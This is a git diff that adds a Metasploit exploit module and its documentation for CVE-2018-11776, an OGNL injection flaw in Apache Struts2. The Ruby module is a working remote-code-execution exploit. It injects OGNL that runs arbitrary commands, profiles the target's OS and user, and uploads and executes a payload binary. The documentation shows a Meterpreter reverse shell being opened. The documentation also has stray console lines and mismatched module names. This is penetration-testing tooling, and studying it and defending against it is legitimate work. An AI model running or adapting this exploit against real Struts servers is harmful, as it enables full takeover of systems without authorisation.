diff --git a/documentation/modules/exploit/multi/http/struts2_namespace_ognl.md b/documentation/modules/exploit/multi/http/struts2_namespace_ognl.md new file mode 100644 index 000000000000..06502927438f --- /dev/null +++ b/documentation/modules/exploit/multi/http/struts2_namespace_ognl.md @@ -0,0 +1,155 @@ +CVE-2018-11776 is a critical vulnerability in the way Apache Struts2 handles namespaces and redirection, which permits an attacker to execute [OGNL(https://commons.apache.org/proper/commons-ognl/language-guide.html) remotely. Using OGNL, the attacker can modify files and execute commands. + +The vulnerability was reported to Apache by [Man Yue Mo] from Semmle in April 2018. It was widely publicized in August 2018, with PoCs appearing shortly thereafter. + +## Vulnerable Application + + The Struts showcase app, with a slight adaptation to introduce the vulnerability, works reliabliy as a practice environment. + *@hook-s3c* did an amazing job with [their writeup](https://github.com/hook-s3c/CVE-2018-11776-Python-PoC/blob/master/README.md), which I'll include exerpts of here: + + 1. From a stock Ubuntu VM, install docker: + ``` + sudo apt update && sudo apt install docker.io + ``` + + 2. Download a vulnerable Struts showcase application inside a docker container: + ``` + sudo docker pull piesecurity/apache-struts2-cve-2017-5638 + sudo docker run -d --name struts2 -p 32771:8080 piesecurity/apache-struts2-cve-2017-5638 + CONTAINER_ID=`sudo docker ps -l -q` + ``` + + 3. Now that the container is running, open a terminal inside of it: + ``` + sudo docker exec -it $CONTAINER_ID /bin/bash + ``` + + 4. From within the container, install your text editor of choice and modify the Struts configs: + ``` + sudo apt update && sudo apt install nano + nano /usr/local/tomcat/webapps/ROOT/WEB-INF/classes/struts.xml + ``` + + 5. Update the struts config to add this to above line #11: + ``` + + ``` + + 6. Update the same struts config file to add this above line #78: + ``` + + + date.action + + + ``` + + 7. Still within the container, shutdown the environment: + ``` + /usr/local/tomcat/bin/shutdown.sh + ``` + + 8. Upon completion, the container will shutdown and you'll return to the host environment. Restart the container, now with a vulnerable endpoint: +msf5 exploit(multi/http/struts2_namespace_ognl) > set LHOST 192.168.199.134 + ``` + sudo docker start $CONTAINER_ID + ``` + + Congratulations. You now have a vulnerable Struts server. If you're following these instructions, your server should be listening on 0.0.0.0:32771. To confirm: + ``` + INTERFACE=`ip route list 0.0.0.0/0 | cut -d' ' -f5` + IPADDRESS=`ip addr show $INTERFACE | grep -Po 'inet \K[\d.]+'` + PORT_NUM=`sudo docker port $CONTAINER_ID | sed 's/.*://'` + echo "Struts container is listening on $IPADDRESS:$PORT_NUM" + ``` + +## Verification Steps + + Confirm that check functionality works: + - [ ] Install the application using the steps above. + - [ ] Start msfconsole. + - [ ] Load the module: ```use exploit/multi/http/struts_namespace_rce``` + - [ ] Set the RHOST. + - [ ] Set an invalid ACTION: ```set ACTION wrong.action``` + - [ ] Confirm the target is *not* vulnerable: ```check``` + - [ ] Observe that the target is *not* vulnerable: ```The target is not exploitable.``` + - [ ] Set a valid ACTION: ```set ACTION help.action``` + - [ ] Confirm that the target is vulnerable: ```The target is vulnerable.``` + + Confirm that command execution functionality works: + - [ ] Set a payload: ```set PAYLOAD cmd/unix/generic``` + - [ ] Set a command to be run: ```set CMD hostname``` + - [ ] Run the exploit: ```run``` + - [ ] Confirm the output is the container ID of your docker environment, e.g: ```b3d9b350d9b6``` + - [ ] You will not be given a shell (yet). + + Confirm that payload upload and execution works: + - [ ] Set a payload, e.g.: ```set PAYLOAD linux/x64/meterpreter/reverse_tcp``` + - [ ] Configure `LHOST` and `RHOST` as necessary. + - [ ] Run the exploit: ```run``` +msf5 exploit(multi/http/struts2_namespace_ognl) > set LHOST 192.168.199.134 +## Options + + **TARGETURI** + + The path to the struts application. Note that this does not include the endpoint. In the environment above, the path is `/`. + + **ACTION** + + The endpoint name. In the environment above, the endpoint is `help.action`. + +## Scenarios + +### Version of software and OS as applicable + + Checking a vulnerable endpoint, as installed in the above steps: + + ``` + msf > use exploit/multi/http/struts_namespace_rce + msf5 exploit(multi/http/struts_namespace_rce) > set RHOSTS 192.168.199.135 + msf5 exploit(multi/http/struts_namespace_rce) > set RPORT 32771 + msf5 exploit(multi/http/struts_namespace_rce) > set ACTION help.action + ACTION => help.action + msf5 exploit(multi/http/struts_namespace_rce) > check + [+] 192.168.199.135:32771 The target is vulnerable. + ``` + + Running an arbitrary command on the above-described environment: + + ``` + msf5 exploit(multi/http/struts_namespace_rce) > set VERBOSE true + msf5 exploit(multi/http/struts_namespace_rce) > set PAYLOAD cmd/unix/generic +PAYLOAD => cmd/unix/generic +msf5 exploit(multi/http/struts_namespace_rce) > set CMD hostname +CMD => hostname +msf5 exploit(multi/http/struts_namespace_rce) > run +[*] Submitted OGNL: (#_memberAccess['allowStaticMethodAccess']=true).(#cmd='hostname').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush()) + +[*] Command ran. Output from command: +b3d9b350d9b6 + +[*] Exploit completed, but no session was created. +msf5 exploit(multi/http/struts_namespace_rce) > + ``` + + Getting a Meterpreter session on the above-described environment: + +``` + +msf5 > use exploit/multi/http/struts2_namespace_ognl +msf5 exploit(multi/http/struts2_namespace_ognl) > set ACTION help.action +msf5 exploit(multi/http/struts2_namespace_ognl) > set RHOSTS 192.168.199.135 +msf5 exploit(multi/http/struts2_namespace_ognl) > set RPORT 32771 +msf5 exploit(multi/http/struts2_namespace_ognl) > set PAYLOAD linux/x64/meterpreter/reverse_tcp +msf5 exploit(multi/http/struts2_namespace_ognl) > set LHOST 192.168.199.134 +msf5 exploit(multi/http/struts2_namespace_ognl) > run + +[*] Started reverse TCP handler on 192.168.199.134:4444 +[+] Target profiled successfully: Linux 4.4.0-112-generic amd64, running as root +[+] Payload successfully dropped and executed. +[*] Sending stage (816260 bytes) to 192.168.199.135 +[*] Meterpreter session 1 opened (192.168.199.134:4444 -> 192.168.199.135:47482) at 2018-08-31 13:15:22 -0500 + +meterpreter > +``` + diff --git a/modules/exploits/multi/http/struts2_namespace_ognl.rb b/modules/exploits/multi/http/struts2_namespace_ognl.rb new file mode 100644 index 000000000000..c878b21ad69d --- /dev/null +++ b/modules/exploits/multi/http/struts2_namespace_ognl.rb @@ -0,0 +1,395 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::EXE + + # Eschewing CmdStager for now, since the use of '\' and ';' are killing me + #include Msf::Exploit::CmdStager # https://github.com/rapid7/metasploit-framework/wiki/How-to-use-command-stagers + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Apache Struts 2 Namespace Redirect OGNL Injection', + 'Description' => %q{ + This module exploits a remote code execution vulnerability in Apache Struts + version 2.3 - 2.3.4, and 2.5 - 2.5.16. Remote Code Execution can be performed + via an endpoint that makes use of a redirect action. + + Native payloads will be converted to executables and dropped in the + server's temp dir. If this fails, try a cmd/* payload, which won't + have to write to the disk. + }, + #TODO: Is that second paragraph above still accurate? + 'Author' => [ + 'Man Yue Mo', # Discovery + 'hook-s3c', # PoC + 'asoto-r7', # Metasploit module + 'wvu' # Metasploit module + ], + 'References' => [ + ['CVE', '2018-11776'], + ['URL', 'https://lgtm.com/blog/apache_struts_CVE-2018-11776'], + ['URL', 'https://cwiki.apache.org/confluence/display/WW/S2-057'], + ['URL', 'https://github.com/hook-s3c/CVE-2018-11776-Python-PoC'], + ], + 'Privileged' => true, + 'Targets' => [ + [ + 'Automatic detection', { + 'Platform' => %w{ unix windows linux }, + 'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ], + }, + ], + [ + 'Windows', { + 'Platform' => %w{ windows }, + 'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ], + }, + ], + [ + 'Linux', { + 'Platform' => %w{ unix linux }, + 'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ], + }, + ], + ], + 'DisclosureDate' => 'Apr 10 2018', + 'DefaultTarget' => 0)) + + register_options( + [ + Opt::RPORT(8080), + OptString.new('TARGETURI', [ true, 'A valid base path to a struts application', '/' ]), + OptString.new('ACTION', [ true, 'A valid endpoint that is configured as a redirect action', 'showcase.action' ]), + OptString.new('ENABLE_STATIC', [ true, 'Enable "allowStaticMethodAccess" before executing OGNL', true ]), + ] + ) + register_advanced_options( + [ + OptString.new('HTTPMethod', [ true, 'The HTTP method to send in the request. Cannot contain spaces', 'GET' ]), + OptString.new('HEADER', [ true, 'The HTTP header field used to transport the optional payload', "X-#{rand_text_alpha(4)}"] ), + OptString.new('TEMPFILE', [ true, 'The temporary filename written to disk when executing a payload', "#{rand_text_alpha(8)}"] ), + ] + ) + end + + def check + # METHOD 1: Try to extract the state of hte allowStaticMethodAccess variable + ognl = "#_memberAccess['allowStaticMethodAccess']" + + resp = send_struts_request(ognl) + + # If vulnerable, the server should return an HTTP 302 (Redirect) + # and the 'Location' header should contain either 'true' or 'false' + if resp && resp.headers['Location'] + output = resp.headers['Location'] + vprint_status("Redirected to: #{output}") + if (output.include? '/true/') + print_status("Target does *not* require enabling 'allowStaticMethodAccess'. Setting ENABLE_STATIC to 'false'") + datastore['ENABLE_STATIC'] = false + CheckCode::Vulnerable + elsif (output.include? '/false/') + print_status("Target requires enabling 'allowStaticMethodAccess'. Setting ENABLE_STATIC to 'true'") + datastore['ENABLE_STATIC'] = true + CheckCode::Vulnerable + else + CheckCode::Safe + end + elsif resp && resp.code==400 + # METHOD 2: Generate two random numbers, ask the target to add them together. + # If it does, it's vulnerable. + a = rand(10000) + b = rand(10000) + c = a+b + + ognl = "#{a}+#{b}" + + resp = send_struts_request(ognl) + + if resp.headers['Location'].include? c.to_s + vprint_status("Redirected to: #{resp.headers['Location']}") + print_status("Target does *not* require enabling 'allowStaticMethodAccess'. Setting ENABLE_STATIC to 'false'") + datastore['ENABLE_STATIC'] = false + CheckCode::Vulnerable + else + CheckCode::Safe + end + end + end + + def exploit + case payload.arch.first + when ARCH_CMD + resp = execute_command(payload.encoded) + else + resp = send_payload() + end + end + + def encode_ognl(ognl) + # Check and fail if the command contains the follow bad characters: + # ';' seems to terminates the OGNL statement + # '/' causes the target to return an HTTP/400 error + # '\' causes the target to return an HTTP/400 error (sometimes?) + # '\r' ends the GET request prematurely + # '\n' ends the GET request prematurely + + # TODO: Make sure the following line is uncommented + bad_chars = %w[; \\ \r \n] # and maybe '/' + bad_chars.each do |c| + if ognl.include? c + print_error("Bad OGNL request: #{ognl}") + fail_with(Failure::BadConfig, "OGNL request cannot contain a '#{c}'") + end + end + + # The following list of characters *must* be encoded or ORNL will asplode + encodable_chars = { "%": "%25", # Always do this one first. :-) + " ": "%20", + "\"":"%22", + "#": "%23", + "'": "%27", + "<": "%3c", + ">": "%3e", + "?": "%3f", + "^": "%5e", + "`": "%60", + "{": "%7b", + "|": "%7c", + "}": "%7d", + #"\/":"%2f", # Don't do this. Just leave it front-slashes in as normal. + #";": "%3b", # Doesn't work. Anyone have a cool idea for a workaround? + #"\\":"%5c", # Doesn't work. Anyone have a cool idea for a workaround? + #"\\":"%5c%5c", # Doesn't work. Anyone have a cool idea for a workaround? + } + + encodable_chars.each do |k,v| + #ognl.gsub!(k,v) # TypeError wrong argument type Symbol (expected Regexp) + ognl.gsub!("#{k}","#{v}") + end + return ognl + end + + def send_struts_request(ognl, payload: nil) +=begin #badchar-checking code + pre = ognl +=end + + ognl = "${#{ognl}}" + vprint_status("Submitted OGNL: #{ognl}") + ognl = encode_ognl(ognl) + + headers = {'Keep-Alive': 'timeout=5, max=1000'} + + if payload + vprint_status("Embedding payload of #{payload.length} bytes") + headers[datastore['HEADER']] = payload + end + + # TODO: Embed OGNL in an HTTP header to hide it from the Tomcat logs + uri = "/#{ognl}/#{datastore['ACTION']}" + + resp = send_request_cgi( + #'encode' => true, # this fails to encode '\', which is a problem for me + 'uri' => uri, + 'method' => datastore['HTTPMethod'], + 'headers' => headers + ) + + if resp && resp.code == 404 + fail_with(Failure::UnexpectedReply, "Server returned HTTP 404, please double check TARGETURI and ACTION options") + end + +=begin #badchar-checking code + print_status("Response code: #{resp.code}") + #print_status("Response recv: BODY '#{resp.body}'") if resp.body + if resp.headers['Location'] + print_status("Response recv: LOC: #{resp.headers['Location'].split('/')[1]}") + if resp.headers['Location'].split('/')[1] == pre[1..-2] + print_good("GOT 'EM!") + else + print_error(" #{pre[1..-2]}") + end + end +=end + + resp + end + + def profile_target + # Use OGNL to extract properties from the Java environment + + properties = { 'os.name': nil, # e.g. 'Linux' + 'os.arch': nil, # e.g. 'amd64' + 'os.version': nil, # e.g. '4.4.0-112-generic' + 'user.name': nil, # e.g. 'root' + #'user.home': nil, # e.g. '/root' (didn't work in testing) + 'user.language': nil, # e.g. 'en' + #'java.io.tmpdir': nil, # e.g. '/usr/local/tomcat/temp' (didn't work in testing) + } + + ognl = "" + ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC'] + ognl << %Q|('#{rand_text_alpha(2)}')| + properties.each do |k,v| + ognl << %Q|+(@java.lang.System@getProperty('#{k}'))+':'| + end + ognl = ognl[0...-4] + + r = send_struts_request(ognl) + + if r.code == 400 + fail_with(Failure::UnexpectedReply, "Server returned HTTP 400, consider toggling the ENABLE_STATIC option") + elsif r.headers['Location'] + # r.headers['Location'] should look like '/bILinux:amd64:4.4.0-112-generic:root:en/help.action' + # Extract the OGNL output from the Location path, and strip the two random chars + s = r.headers['Location'].split('/')[1][2..-1] + + if s.nil? + # Since the target didn't respond with an HTTP/400, we know the OGNL code executed. + # But we didn't get any output, so we can't profile the target. Abort. + return nil + end + + # Confirm that all fields were returned, and non include extra (:) delimiters + # If the OGNL fails, we might get a partial result back, in which case, we'll abort. + if s.count(':') > properties.length + print_error("Failed to profile target. Response from server: #{r.to_s}") + fail_with(Failure::UnexpectedReply, "Target responded with unexpected profiling data") + end + + # Separate the colon-delimited properties and store in the 'properties' hash + s = s.split(':') + i = 0 + properties.each do |k,v| + properties[k] = s[i] + i += 1 + end + + print_good("Target profiled successfully: #{properties[:'os.name']} #{properties[:'os.version']}" + + " #{properties[:'os.arch']}, running as #{properties[:'user.name']}") + return properties + else + print_error("Failed to profile target. Response from server: #{r.to_s}") + fail_with(Failure::UnexpectedReply, "Server did not respond properly to profiling attempt.") + end + end + + def execute_command(cmd_input, opts={}) + # Semicolons appear to be a bad character in OGNL. cmdstager doesn't understand that. + # We'll replace ';' with '||' and hope for the best + + if cmd_input.include? ';' + print_error("WARNING: Command contains bad characters: semicolons (;). Substituting '||'") + vprint_status("BEFORE: #{cmd_input}") + cmd_input = cmd_input.gsub(";" ,"||") + vprint_status("AFTER: #{cmd_input}") + end + + begin + properties = profile_target + os = properties[:'os.name'].downcase + rescue + vprint_warning("Target profiling was unable to determine operating system") + os = '' + os = 'windows' if datastore['PAYLOAD'].downcase.include? 'win' + os = 'linux' if datastore['PAYLOAD'].downcase.include? 'linux' + os = 'unix' if datastore['PAYLOAD'].downcase.include? 'unix' + end + + if (os.include? 'linux') || (os.include? 'nix') + cmd = "{'sh','-c','#{cmd_input}'}" + elsif os.include? 'win' + cmd = "{'cmd.exe','/c','#{cmd_input}'}" + else + vprint_error("Failed to detect target OS. Attempting to execute command directly") + cmd = cmd_input + end + + # The following OGNL will run arbitrary commands on Windows and Linux + # targets, as well as returning STDOUT and STDERR. In my testing, + # on Struts2 in Tomcat 7.0.79, commands timed out after 18-19 seconds. + + vprint_status("Executing: #{cmd}") + + ognl = "" + ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC'] + ognl << %Q|(#p=new java.lang.ProcessBuilder(#{cmd})).| + ognl << %q|(#p.redirectErrorStream(true)).| + ognl << %q|(#process=#p.start()).| + ognl << %q|(#r=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).| + ognl << %q|(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#r)).| + ognl << %q|(#r.flush())| + + r = send_struts_request(ognl) + + if r && r.code == 200 + print_good("Command executed:\n#{r.body}") + elsif r + if r.body.length == 0 + print_status("Payload sent, but no output provided from server.") + elsif r.body.length > 0 + print_error("Failed to run command. Response from server: #{r.to_s}") + end + end + end + + def send_payload + # Probe for the target OS and architecture + begin + properties = profile_target + os = properties[:'os.name'].downcase + rescue + vprint_warning("Target profiling was unable to determine operating system") + os = '' + os = 'windows' if datastore['PAYLOAD'].downcase.include? 'win' + os = 'linux' if datastore['PAYLOAD'].downcase.include? 'linux' + os = 'unix' if datastore['PAYLOAD'].downcase.include? 'unix' + end + + data_header = datastore['HEADER'] + if data_header.empty? + fail_with(Failure::BadConfig, "HEADER parameter cannot be blank when sending a payload") + end + + random_filename = datastore['TEMPFILE'] + + # d = data stream from HTTP header + # f = path to temp file + # s = stream/handle to temp file + ognl = "" + ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC'] + ognl << %Q|(#d=@org.apache.struts2.ServletActionContext@getRequest().getHeader('#{data_header}')).| + ognl << %Q|(#f=@java.io.File@createTempFile('#{random_filename}','tmp')).| + ognl << %q|(#f.setExecutable(true)).| + ognl << %q|(#f.deleteOnExit()).| + ognl << %q|(#s=new java.io.FileOutputStream(#f)).| + ognl << %q|(#d=new sun.misc.BASE64Decoder().decodeBuffer(#d)).| + ognl << %q|(#s.write(#d)).| + ognl << %q|(#s.close()).| + ognl << %q|(#p=new java.lang.ProcessBuilder({#f.getAbsolutePath()})).| + ognl << %q|(#p.start()).| + ognl << %q|(#f.delete()).| + + success_string = rand_text_alpha(4) + ognl << %Q|('#{success_string}')| + + exe = [generate_payload_exe].pack("m").delete("\n") + r = send_struts_request(ognl, payload: exe) + + if r && r.headers && r.headers['Location'].split('/')[1] == success_string + print_good("Payload successfully dropped and executed.") + elsif r && r.headers['Location'] + vprint_error("RESPONSE: " + r.headers['Location']) + fail_with(Failure::PayloadFailed, "Target did not successfully execute the request") + elsif r && r.code == 400 + fail_with(Failure::UnexpectedReply, "Target reported an unspecified error while executing the payload") + end + end +end +